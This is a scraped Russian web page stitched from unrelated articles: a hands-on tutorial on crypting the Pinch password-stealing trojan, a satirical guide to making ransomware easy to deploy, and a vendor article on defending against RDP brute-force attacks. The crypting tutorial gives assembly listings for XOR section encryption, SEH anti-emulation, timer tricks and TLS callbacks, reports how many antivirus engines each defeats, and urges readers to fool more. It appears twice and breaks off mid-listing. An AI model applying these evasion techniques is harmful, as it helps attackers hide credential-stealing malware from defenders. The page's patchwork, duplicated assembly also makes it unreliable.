Как закриптовать вирус удаленного доступа

Обновлено: 18.04.2024

Подготовка к исследованиям

Прячем код

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

Продолжаем эксперимент

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

.
13140028 0000 ADD BYTE PTR DS:[EAX],AL

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME WORD wYear; // Год
WORD wMonth; // Месяц
WORD wDayOfWeek; // День недели
WORD wDay; // День месяца
WORD wHour; // Часы
WORD wMinute; // Минуты
WORD wSecond; // Секунды
WORD wMilliseconds; // Миллисекунды
> SYSTEMTIME;

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

Последние штрихи

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

image alt text

Пока что не все системные администраторы насладились в полной мере знакомством с криптолокерами, хотя стараются многие. В этой статье я расскажу, что нужно сделать, чтобы облегчить попадание шифровальщика в инфраструктуру и обеспечить максимально разрушительные последствия.

В зависимости от мировоззрения и настроения написанное можно воспринимать как буквально, так и творчески.

Для начала нужно открыть RDP наружу – так будет проще работать сотрудникам, без всяких там неудобных VPN. Если шеф требует усилить информационную безопасность, просто повесьте внешний порт RDP на другой. Сканерам это не помешает, а начальник может и успокоится.

image alt text

Брутфорс при включенном аудите неудачных попыток входа

На терминальном сервере отключите блокировку учетных записей, которая срабатывает после нескольких неудачных попыток входа;

Если на сервере терминала работает аналог fail2ban, например, Ts_block, EvlWatcher или RdpGuard, то удалите его немедленно. Такой сервис обеспечит вам блокировку на фаерволе IP–адреса после неудачных попыток подключения. Вы же не хотите мешать взлому, верно?

Когда RDP открыт наружу, у всех пользователей заданы простые пароли, а письма со ссылками на архивы регулярно приходят на почту, то вирус себя ждать не заставит. Следующая задача администратора – облегчить вновь прибывшему достойное кормление в инфраструктуре.

image alt text

Это означает, что в системе включена политика ограниченного использования программ (SRP – Software Restriction Policies). Эта технология появилась во времена Windows XP и ее принцип работы очень прост: при настроенной политике ни один из исполняемых файлов, кроме разрешенных, не будет запущен. И действительно опасными для системы останутся только эксплойты.

image alt text

Но руководство может обратить внимание на отключение политики. В таком случае для вируса можно открыть другую лазейку. Обычно при настройке SRP разрешается запуск исполняемых файлов из системных папок, но остается без внимания один нюанс: в системных папках есть подпапки, в которых у пользователя есть права на создание файлов. Например, путь C:\Windows\Temp:

image alt text

В параметрах безопасности разрешите создание файлов и их выполнение

Полный список занятных подпапок в системных каталогах можно получить с помощью Powershell или через утилиты вроде DumpSec.

Права администратора на компьютерах тоже помогают в получении хэшей. Поэтому если пользователю понадобится доступ к специфическим приложениям, то не стоит выделять его компьютер в отдельный VLAN. Оптимально вместе с правами локального администратора сразу выдать и доменного.

Если политика ограниченного использования программ отключена, то антивирус можно оставить: все равно шифровальщика, который использует установленный архиватор, антивирус сможет поймать только по сигнатурам. При этом UAC нужно отключить.

Теперь вирус гарантированно сможет проникнуть в инфраструктуру и зашифровать полезные данные. Однако для окончательного триумфа этого недостаточно: ведь у вас останутся резервные копии, которые быстро восстановят работоспособность. Поэтому что? Правильно, корректируем настройки резервного копирования – чтобы не мешали.

Не стоит отключать резервное копирование целиком – это вызовет массу вопросов даже у не очень подкованных сотрудников, когда вы вдруг не сможете восстановить по их просьбе удаленный файл.

Есть более изящные способы сделать так, чтобы восстановление системы после атаки шифровальщика стало невозможным:

Бэкапы должны быть на одном сервере: шифровальщик их зашифрует, а имеющиеся теневые копии – удалит;

Не следует хранить бэкапы за определенный период: лучше ежедневно создавать резервные копии, затирая предыдущие. И не нужно включать для бэкапа настройки копирования по собственному протоколу в свой репозиторий;

Теперь после атаки шифровальщика можно грустно, но уверенно говорить, что резервных копий нет. Это победа!

image alt text

Spora ransomware удаляет теневые копии с помощью команды vssadmin.exe и отключает восстановление в загрузчике. UAC мог бы остановить это действие.

Хотя нет – вы можете сделать завершающий аккорд и стать посредником между организацией и авторами шифровальщиков. Для этого скажите начальнику, что вымогателям платить не надо, но есть компании, занимающиеся расшифровкой. После этого возьмите у него сумму, равную той, которую просят вымогатели плюс накиньте свой процент – и вуаля, к моральному удовольствию прибавилась еще и тихая денежная радость. Можно смело считать себя богом системных интриг и… лучше уволиться.

Обидно, что простейшая настройка SRP и закрытый чуть более серьезно периметр позволили бы избежать грустных последствий. Надеюсь, материал поможет кому-то организовать защиту предприятия более разумно или хотя бы задуматься об этом.


Несмотря на то, что решения для удаленного доступа уже много лет успешно работают на рынке и имеют многомиллионную аудиторию, они всегда вызывали у пользователей некоторые опасения в плане безопасности. Некоторые люди и компании принципиально отказывались ими пользоваться. Что ж, в чем-то их страхи оправдались: количество атак через протокол удаленного доступа не просто растет - во время пандемии оно вообще удвоилось. В этой статье расскажем о том, как обнаружить RDP-атаку, как защититься от нее на постоянной основе, а какие методы не настолько эффективны.

До недавнего времени корпоративный поток данных в подавляющем большинстве случаев циркулировал в контролируемой инфраструктуре. Но пандемия вынудила людей в спешке организовывать весь доступ к корпоративной среде в домашних условиях и незащищенных сетях Wi-Fi. Ну а уж любовь пользователей к простым паролям и нелюбовь к двухфакторной авторизации всегда были головной болью безопасников.

Этим немедленно воспользовались киберпреступники. И без того “популярные” атаки через протоколы удаленного доступа с начала строгого карантина пошли лавиной: ежедневно стало регистрироваться почти миллион таких попыток. Самый популярный из протоколов удаленного доступа - проприетарный протокол Microsoft RDP, поэтому такие атаки называют RDP-атаками. Хотя в той или иной степени уязвимо любое решение удаленного доступа.

Статистика

По данным Лаборатории Касперского, с начала марта 2020 года количество атак на RDP скачкообразно увеличилось. ESET в своем отчете говорит о более чем 100 тысячах новых RDP-атак в день - рост более чем в два раза по сравнению с первым кварталом.

Причина, в том числе, не только в переходе на удаленку, но и в спешке - для компаний при переезде “в карантин” главным было добиться работоспособности инфраструктуры, а ее безопасность стояла только второй задачей. Например, опрос специалистов по информационной безопасности, который провели в Positive Technologies, показал, что в связи с пандемией удаленный доступ им пришлось либо экстренно организовывать с нуля (11%), либо срочно масштабировать (41%).

Что такое RDP-атаки

Протокол RDP (Remote Desktop Protocol) - это один из наиболее популярных протоколов для подключения к удаленным рабочим столам, доступный во всех версиях Windows, начиная с XP. Помимо взаимодействия с удаленным компьютером он позволяет подключить к удаленной машине локальные диски, порты и другие устройства. Используется большинством админов Windows-сред для администрирования рабочих мест пользователей и серверов, экономя им много времени.

В протоколе постоянно находили уязвимости, причем так часто, что в 2018 году даже ФБР выпустило специальное предупреждение. В мае 2019 года в старых версиях протокола была обнаружена критическая уязвимость под названием BlueKeep. Всего через месяц после ее появления началась активная волна атак, использующих BlueKeep. Затем в августе того же года в протоколе нашли еще четыре новые уязвимости. Они были связаны не с протоколом RDP, а с сервисом удаленных рабочих столов RDS и позволяли с помощью специального запроса, отправленного через RDP, получить доступ к уязвимой системе, не проходя при этом процедуру проверки подлинности.

RDP-атака - это, по сути, атака brute force, в ходе которой подбирается логин и пароль или ключ шифрования для доступа к RDP путем систематического перебора всех возможных комбинаций символов, пока не будет найден верный вариант. Для длинных паролей может использоваться перебор по словарю, где вместо генерирования комбинации букв и цифр используется длинный список популярных или скомпрометированных паролей.

Цель - получить полный удаленный доступ к нужному компьютеру или серверу и проникнуть через него в корпоративную сеть, обладая всеми соответствующими правами и доступами. Атакующий внедряется в диалог двух систем в момент установления RDP-сессии и, расшифровав пакет, получает полный доступ к удаленной системе, причем без каких-либо нотификаций на стороне клиента или сервера, поскольку у него есть “правильный” сертификат.

А затем начинается собственно атака изнутри системы. Решения безопасности отключаются или удаляются, а затем либо начинается DDoS-атака, либо запускается программа-вымогатель, которая устанавливает пароль на доступ к базам данных с важной для компании информацией. Либо уводятся реальные персональные данные для credential stuffing и фишинга. Также можно использовать плохо защищенный RDP для установки программ для майнинга криптовалют или создания бэкдора (на случай, если несанкционированный доступ к RDP будет обнаружен и закрыт), для установки рекламного или шпионского ПО, SMS-троянов, и так далее. Этим можно полностью заразить все доступные в сети машины.

Существуют скрипты, которые способны по-максимуму использовать права пользователя, который подключается по RDP и всех последующих пользователей в цепочке RDP-подключений. Этот метод получил название RDPInception. Если атакованная машина подключается по цепочке через несколько серверов и везде монтируются локальные диски, то скрипт самокопируется в нужные директории и становится возможным атаковать все машины, поскольку при входе в систему выполняются скрипты, расположенные в Startup директории. Все, что подключается в этой цепочке, также может быть заражено.

Почему они опасны?

Плохо защищенное RDP-соединение может обеспечить преступникам доступ ко всей корпоративной системе. Например, зашифровка серверов компании программами-вымогателями, которые потом требуют выкуп, может быть крайне разрушительной для бизнеса. Тут показательна недавняя история очень крупного GPS-вендора Garmin, который был вынужден заплатить вымогателям $10 миллионов - по-другому их специалистам по безопасности решить проблему не удалось.


Технически такие атаки тоже становятся все более опасными. Во-первых, злоумышленники больше не работают точечно, а охватывают большие сегменты сетей.

Во-вторых, время простых атак уже прошло. Преступники используют сложные схемы и комбинируют методы. Так, в трояне TrickBot появился новый модуль rdpScanDll, который используется для проведения атак brute force на RDP-соединения. Этот модуль уже отметился в ряде атак на крупные компании, в том числе связанными с образованием и финансами.

В-третьих, персональные данные и инструменты для взлома, к сожалению, становятся все более доступными. Например, недавно исходный код Dharma, ransomware-as-a-service ПО, также нацеленного на RDP, выложили для продажи онлайн (извините, ссылку давать не будем). Растет количество утечек баз с паролями и словарей для перебора паролей, упоминавшиеся выше скрипты для взлома можно найти в открытом доступе, и там же есть готовые списки серверов, у которых открыт RDP порт. На рынке есть огромное количество ботов, которые постоянно сканируют все доступные точки подключения и пытаются подобрать пароль.

Наконец, средств для защиты либо недостаточно для “переборщиков паролей”, либо они не применяются. Часто компании даже не видят, что такая атака уже идет. Они могут заметить низкую производительность и долгое выполнение запросов, но лечат это оптимизацией памяти и другими нерелевантными методами.

Как понять, что RDP-атака началась

Снижается общая производительность, ответы на запросы становятся дольше (причем иногда вы не видите это в трафике - в нем нет ни очевидных всплесков, ни провалов, и нет аномалий в статистике нагрузки на вычислительные ресурсы).

Серверы не принимают соединения со службой удалённого доступа, пользователи не могут зайти на свои рабочие столы. При этом ситуация может то временно улучшаться, то ухудшаться. В целом серверы могут быть доступны и даже отвечать на ping.

Способы от них избавиться

Способов, на самом деле, множество, но в данной статье мы решили разделить их на полностью надежные и те, у которых или есть определенные недостатки, или их сложно реализовать, или они могут служить только временной мерой. Начнем с надежных.

Правильная система паролей

Недавнее исследование Verizon показало, что более 80% взломов связано не с уязвимостями протокола RDP, а именно с ненадежными паролями. Поэтому в компаниях должна быть принята и закреплена в инфраструктуре политика использования сложных для подбора паролей и обязательной двухфакторной аутентификации. Пароли пользователям желательно хранить в специальных защищенных менеджерах паролей. Решения по безопасности также должны быть дополнительно защищены паролем, чтобы нельзя было их отключить изнутри при успешной атаке.

Система мониторинга всех запросов

Эффективный способ - мониторить весь входящий трафик и отслеживать все несанкционированные подключения и запросы. К системам мониторинга удаленных подключений можно добавить какие-то дополнительные системы отслеживания, которые помогут увидеть более полную картину происходящего. Например, можно включить решение Variti - Active Bot Protection, которое не только позволяет размечать все входящие запросы на предмет “бот - не бот”, начиная с самого первого, в режиме реального времени, но и вычислять и блокировать источники атаки. Подобное отслеживание может вестись на всех системных уровнях, включая транспортный уровень и уровень приложений. Это позволит, например, увидеть подозрительную ботовую активность, которая может быть признаком начала атаки.

Другой вариант: если нет централизованной системы контроля доступа, то можно создать скрипт на powershell, который сообщает о всех фактах и попытках авторизации. Наконец, можно настроить “События” на отображение всей доступной информации.

Network Level Authentication

NLA обеспечивает более надежную защиту от подмены ключей, требуя аутентификацию до установления сессии и во время сессии. В прошлом году именно NLA затрудняла эксплуатацию серьезных уязвимостей в протоколе.

Ряд других полезных практик:

Используйте нестандартные ключи, например, PKI (Public Key Infrastructure), а соединения RDP стройте с помощью TLS (Transport Layer Security).

Если RDP не используется, то выключите его и отключите на брандмауэре сети внешние соединения с локальными машинами на порту 3389 (TCP/UDP) или любом другом порту RDP.

Постоянно обновляйте все ПО на устройствах сотрудников до актуальных версий. Помните, что 80-90% эксплойтов создано после выхода патча на уязвимость. Узнав, что была уязвимость, атакующие ищут ее именно в старых версиях софта. Конечно, это непростая задача в условиях удаленки, но это должно быть частью корпоративной ИТ-политики. Кроме того, любые незащищенные или устаревшие компьютеры нужно изолировать.

По возможности используйте шифрование на устройствах, которые используются для решения рабочих задач (например, шифрование диска).

Сделайте резервные копии ключевых данных. Резервные копии должны быть доступны только администратору или пользователю резервного копирования. Права на папки к файлам резервного копирования также должны быть максимально ограничены.

Установите на все устройства сотрудников защитные решения и решения, позволяющие отследить технику в случае ее утери.

А теперь перейдем к вариантам, которые сложно назвать однозначными, потому что у них есть и плюсы, и минусы.

Организовать доступ через VPN

Помимо очевидных преимуществ, у этого варианта есть несколько сложностей.

Даже у тех, кто использует Virtual Private Network, иногда разрешена авторизация пользователя без пароля.

Практически во всех популярных VPN-решениях также есть уязвимости для несанкционированного доступа.

Если вы раньше не пользовались VPN, что поднимать в спешке IPSec-соединения - не самая простая задача.

В условиях полного домашнего “зоопарка” устройств и подключений к сети (как насчет выхода в интернет через сотовый модем?) на удаленке довольно тяжело объяснять и настраивать каждому из нескольких сотен пользователей, чтобы у пользователя все стабильно работало и не пропадало подключение к сети.

VPN-серверы тоже могут падать, причем в отличие от временного падения какого-то из сервисов, это может грозить серьезными последствиями. Получается, что VPN серверы становятся единой точкой отказа со всеми вытекающими последствиями.

VPN — это двойное шифрование (помимо стандартного RDP шифрования дополнительно выполняется ещё и VPN шифрование), что означает дополнительную нагрузку и более медленное подключение, что не очень хорошо в условиях нестабильного или не особо быстрого канала связи.

При взломе VPN (а это может быть при взломе роутера), если он настроен по умолчанию (или недостаточно компетентно), хакер получает сразу доступ ко всей внутренней сети, в отличии от доступа к одиночному ПК в случае взлома RDP (хотя и через него тоже потом можно получить доступ ко внутренней сети).

Использовать другие средства удаленного доступа

К сожалению, в них также есть уязвимости. Например, в конце прошлого года найдено 37 уязвимостей в разных клиентах, работающих с протоколом VNC.

Изменить настройки всех пользователей на другой порт

Наверное, наименее надежный способ из всех, хотя наверняка найдутся люди, у которых это прекрасно работает. Почему же он “не очень”?

Требует много времени на то, чтобы изменить настройки, если у вас много конечных пользователей, среди которых могут оказаться и клиенты. А ведь счет часто идет на минуты во время активной фазы атак. В этой ситуации нужно как можно быстрее устранить проблему с минимальным отрывом пользователей от дел.

Кроме того, это временное решение, потому что современные боты с интеллектуальной программой сканирования портов быстро найдут новый нестандартный порт. Из нашей анти-бот практики: боты ловят нестандартный порт от пары часов до пары дней. В общем, к вам все равно придут, хоть и позже. Возможно, переименование учетных записей типа Администратор, admin, user, user1 на более несловарные будет здесь даже более эффективно.

Ввести различные ограничения на подключения

Например, можно ограничить количество разрешенных одновременно открытых сеансов, минимизировать количество пользователей, которые могут подключаться к серверам организации через интернет, запретить доступ к серверу с более чем N IP адресов, ограничить количество разрешенных ошибочных попыток входа и время для этих попыток, установить время блокировки для входа в случае неправильного ввода пароля и так далее. Да, это помогает, но это нельзя назвать полноценным решением. К сожалению, как показывает практика, эти меры могут не дать заметного снижения количества атак, ведь боты работают круглосуточно и без остановки, а ограничения - это куча тонких настроек, где одно зависит от другого, а у самого администратора часто есть определенные ограничения на настройки.

Блокировка IP

Эффективный для поколения “кулхацкеров” метод - блокирование IP - в случае серьезных противников может быть бесполезным, а то и опасным. Во всяком случае, адреса, с которых идут атаки, меняются в очень широком диапазоне (атака на перебор часто идет с группы адресов и даже с разных подсетей), так что сама идея блокировки по адресам — это лечение последствий, а не болезни. IP адрес слишком легко подделать, атакующие могут применять сотни и с легкостью менять их. И есть большая вероятность, что они подставят его так, что будет заблокирован ваш собственный адрес или IP ваших клиентов.

К тому же блокировка отдельных IP на сервере Windows - не такая уж простая задача. Во-первых, в логах безопасности часто не видно IP того, кто пытается подключится - в некоторых случаях его можно увидеть только при успешной авторизации. В противном случае видно только логин, под которым пытались залогиниться, хотя события в журнале отмечаются. И тем более это сложно, если IP специально скрывается.

Кстати, если вы делаете это с помощью Windows Firewall, то через какое-то время Windows начинает сильно тормозить из-за переполненного правила Windows Firewall.

Давать доступ к данным только белому списку IP-адресов - тоже достаточно сложная вещь в условиях удаленки и домашних офисов - IP может плавать, так как пользователь задействует очень разные гаджеты, которые есть “в хозяйстве”, и все норовит поработать из кафе или парка с публичным вайфаем.

О дивный новый мир

Для многих компаний удаленная работа, вероятно, останется постоянной частью их корпоративной культуры, и с этим придется что-то делать. При этом уязвимости в RDP всплывают постоянно, и приходится регулярно гуглить, что же появилось нового.

Основная головная боль в том, чтобы защититься от RDP-атак в такой ситуации - это зоопарк устройств, на которых удаленно работают сотрудники, и сроки, так как проблему нужно решать быстро. И не нужно объяснять, что в каждой конкретной организации у администратора могут быть отдельные ограничения - кому-то выделяют только один порт под сервис, у кого-то нет подходящего железа и достаточного бюджета.

Единого ответа в том, как полностью обезопасить себя от таких нападений за счет одного-единственного инструмента, наверное, пока не существует (но, думаем, рынок усиленно над этим работает). К тому же и боты стали намного хитрее и сложнее, и хакеры стали более умными, и атаки более многоплановыми. Понадобится комплекс мер, ведь существует еще достаточно много вариантов защиты, кроме тех, о которых мы написали, в том числе аппаратных - межсетевые экраны, маршрутизаторы, виртуализация, разделение основной базы данных и многое другое.

Но, мы уверены, что самый важный и первый шаг - это четко увидеть, существует ли у вас такая проблема и насколько она серьезна. Так что включайте свои мониторинги. Второй шаг - это сделать все возможное, чтобы максимально усложнить жизнь хакеру. Есть огромная вероятность того, что столкнувшись хотя бы с несколькими приемами, хакер не будет тратить время на вас, а найдет жертву попроще.

Сначала обратимся к тривиальным и давно известным нам методам сокрытия кода – шифровке секции по константе. В своих статьях я уже не раз обращался к подобному коду. Удивительно, но простой XOR машинных кодов, находящихся в секции кода, позволяет избавиться от внимания аж четверти антивирусных программ! Итак, откроем сгенерированный файл пинча (pinch.exe) в отладчике. Точка входа по умолчанию равна 13147810. По адресу 13147C26 начинается поле сплошных нулей, оставленное компилятором для выравнивания секции. Нам это на руку – здесь мы будем размещать наш код. Итак, взгляни на вид криптора:

13147C30 PUSHAD
13147C31 MOV ECX,6C2F
13147C36 MOV EDX,DWORD PTR DS:[ECX+13141000]
13147C3C XOR EDX,76
13147C3F MOV DWORD PTR DS:[ECX+13141000],EDX
13147C45 LOOPD SHORT pinch_pa.13147C36
13147C47 POPAD
13147C48 JMP SHORT pinch_pa.13147810

13147C4B XOR EAX,EAX; обнуляем регистр
13147C4D PUSH pinch_pa.13147C62; помещение адреса нового обработчика в стек
13147C52 PUSH DWORD PTR FS:[EAX]; помещение адреса старого обработчика в стек
13147C55 MOV DWORD PTR FS:[EAX],ESP; помещение в FS:[0] указателя на структуру
13147C58 CALL pinch_pa.13147C58; генерация исключения путем переполнения стека
13147C5D JMP pinch_pa.13145555; данная инструкция никогда не будет исполнена
13147C62 POP EAX; восстановление регистров
13147C63 POP EAX
13147C64 POP ESP
13147C65 JMP pinch_pa.13147810; переход к выполнению программы

Кратко описать функционал кода можно следующим образом: мы создаем новый обработчик исключений и размещаем его по адресу 13147C62. Эмуляторы кода, которые неспособны должным образом определить логику выполнения программы, полагают, что вслед за бесконечной рекурсией по адресу 13147C58 произойдет передача управления на следующую инструкцию (JMP pinch_pa.13145555), в результате чего направляют дальнейшее исследование логики выполнения кода по неверному пути. На самом же деле, стек переполняется, вызывается исключение, а программа благополучно продолжает свою работу. Действуя таким образом, мы отметаем еще четыре антивируса (только 27 из 43 утилит справились с задачей и распознали вредоносный код).

Итак, мы отправили на прогулку лесом едва ли не половину антивирусов – что же дальше? Теперь мы займемся более изощренными способами антиотладки и простейшей антиэмуляции.

Продолжаем эксперимент

13147C90 - NEW OEP
length of code 4c

13147c30 - start of code
13147c7c -end of code

13147C90 60 PUSHAD
13147C91 B9 4C000000 MOV ECX,4C
13147C96 8B91 307C1413 MOV EDX,DWORD PTR DS:[ECX+13147C30]
13147C9C 83F2 54 XOR EDX,54
13147C9F 8991 307C1413 MOV DWORD PTR DS:[ECX+13147C30],EDX
13147CA5 ^E2 EF LOOPD SHORT kadabra_.13147C96
13147CA7 61 POPAD
jmp 13147c30

13140000 4D DEC EBP
13140001 5A POP EDX
13140002 0000 ADD BYTE PTR DS:[EAX],AL
13140004 0100 ADD DWORD PTR DS:[EAX],EAX

.
13140028 0000 ADD BYTE PTR DS:[EAX],AL

13140002 EB 24 JMP SHORT 13140028

а байты, расположенные по адресу 13140028, на следующий код:

13140028 -E9 637C0000 JMP 13147c90

Исследования показали, что пинч содержит четыре секции, две из которых – .conf и .data – содержат данные, которые могут быть рассмотрены антивирусами в качестве константы и занесены в сигнатурную базу. Поэтому необходимо зашифровать и их.

Для этого полностью убираем код раскриптовки, заменяя его в OllyDbg на нули, и видим, что наш образец все равно палится как пинч! Делаем вывод, что либо антивирусы методом перебора видят наш код, либо проверяют image base. Пробуем изменить Image base – и, действительно, отметаем еще четыре антивируса.

Lost in Time, или Dr. Web, не считающий время

Представь ситуацию: мы располагаем тысячей программ, каждая из которых использует 15-секундный таймер. Суммарное время задержки выполнения кода составит, что несложно подсчитать, 15000 секунд, или около четырех часов. Таким образом, если антивирусный алгоритм в своей работе по-настоящему эмулирует таймер, анализ тысячи подобных файлов займет у него вышеуказанное время. Конечно, реальная эмуляция таймеров – нонсенс, и многие алгоритмы просто-напросто нужным образом изменяют регистры или стек контекста процесса, если встречают одну из API-функций, выполняющих задержку выполнения программы. Но все ли антивирусы настолько хороши? Проверим на практике.

Для того, чтобы засечь время, используем API-функцию GetLocalTime, которая записывает по указанному в стеке адресу следующую 16-байтную структуру:

typedef struct _SYSTEMTIME SYSTEMTIME;

13147CFA PUSH kadabra_.13147D7D; записываем в стек первый адрес
13147CFF CALL kernel32.GetLocalTime; получаем первый временной штамп
13147D04 PUSH 3E8; задержка таймера – 1000 миллисекунд, или 1 секунда
13147D09 CALL kernel32.Sleep; запуск таймера
13147D0E PUSH kadabra_.13147D94; записываем в стек второй адрес
13147D13 CALL kernel32.GetLocalTime; получаем второй временной штамп

В результате выполнения получаем две 16-байтных заполненных структуры, каждая из которых записана, начиная с адреса, определенного нами выше:

[год][месяц][день недели][День месяца] [Часы] [Минуты] [Секунды][Миллисекунды]

13147D7D: DA 07 0A 00 02 00 0C 00 0D 00 0C 00 31 00 B1 03

13147D94: DA 07 0A 00 02 00 0C 00 0D 00 0D 00 04 00 B1 03

13147CF9 ;Код получения временных штампов (приведен выше)
13147D18 MOV AL,BYTE PTR DS:[13147D89]; первое значение помещаем в AL
13147D1D MOV AH,BYTE PTR DS:[13147DA0]; второе значение помещаем в AH
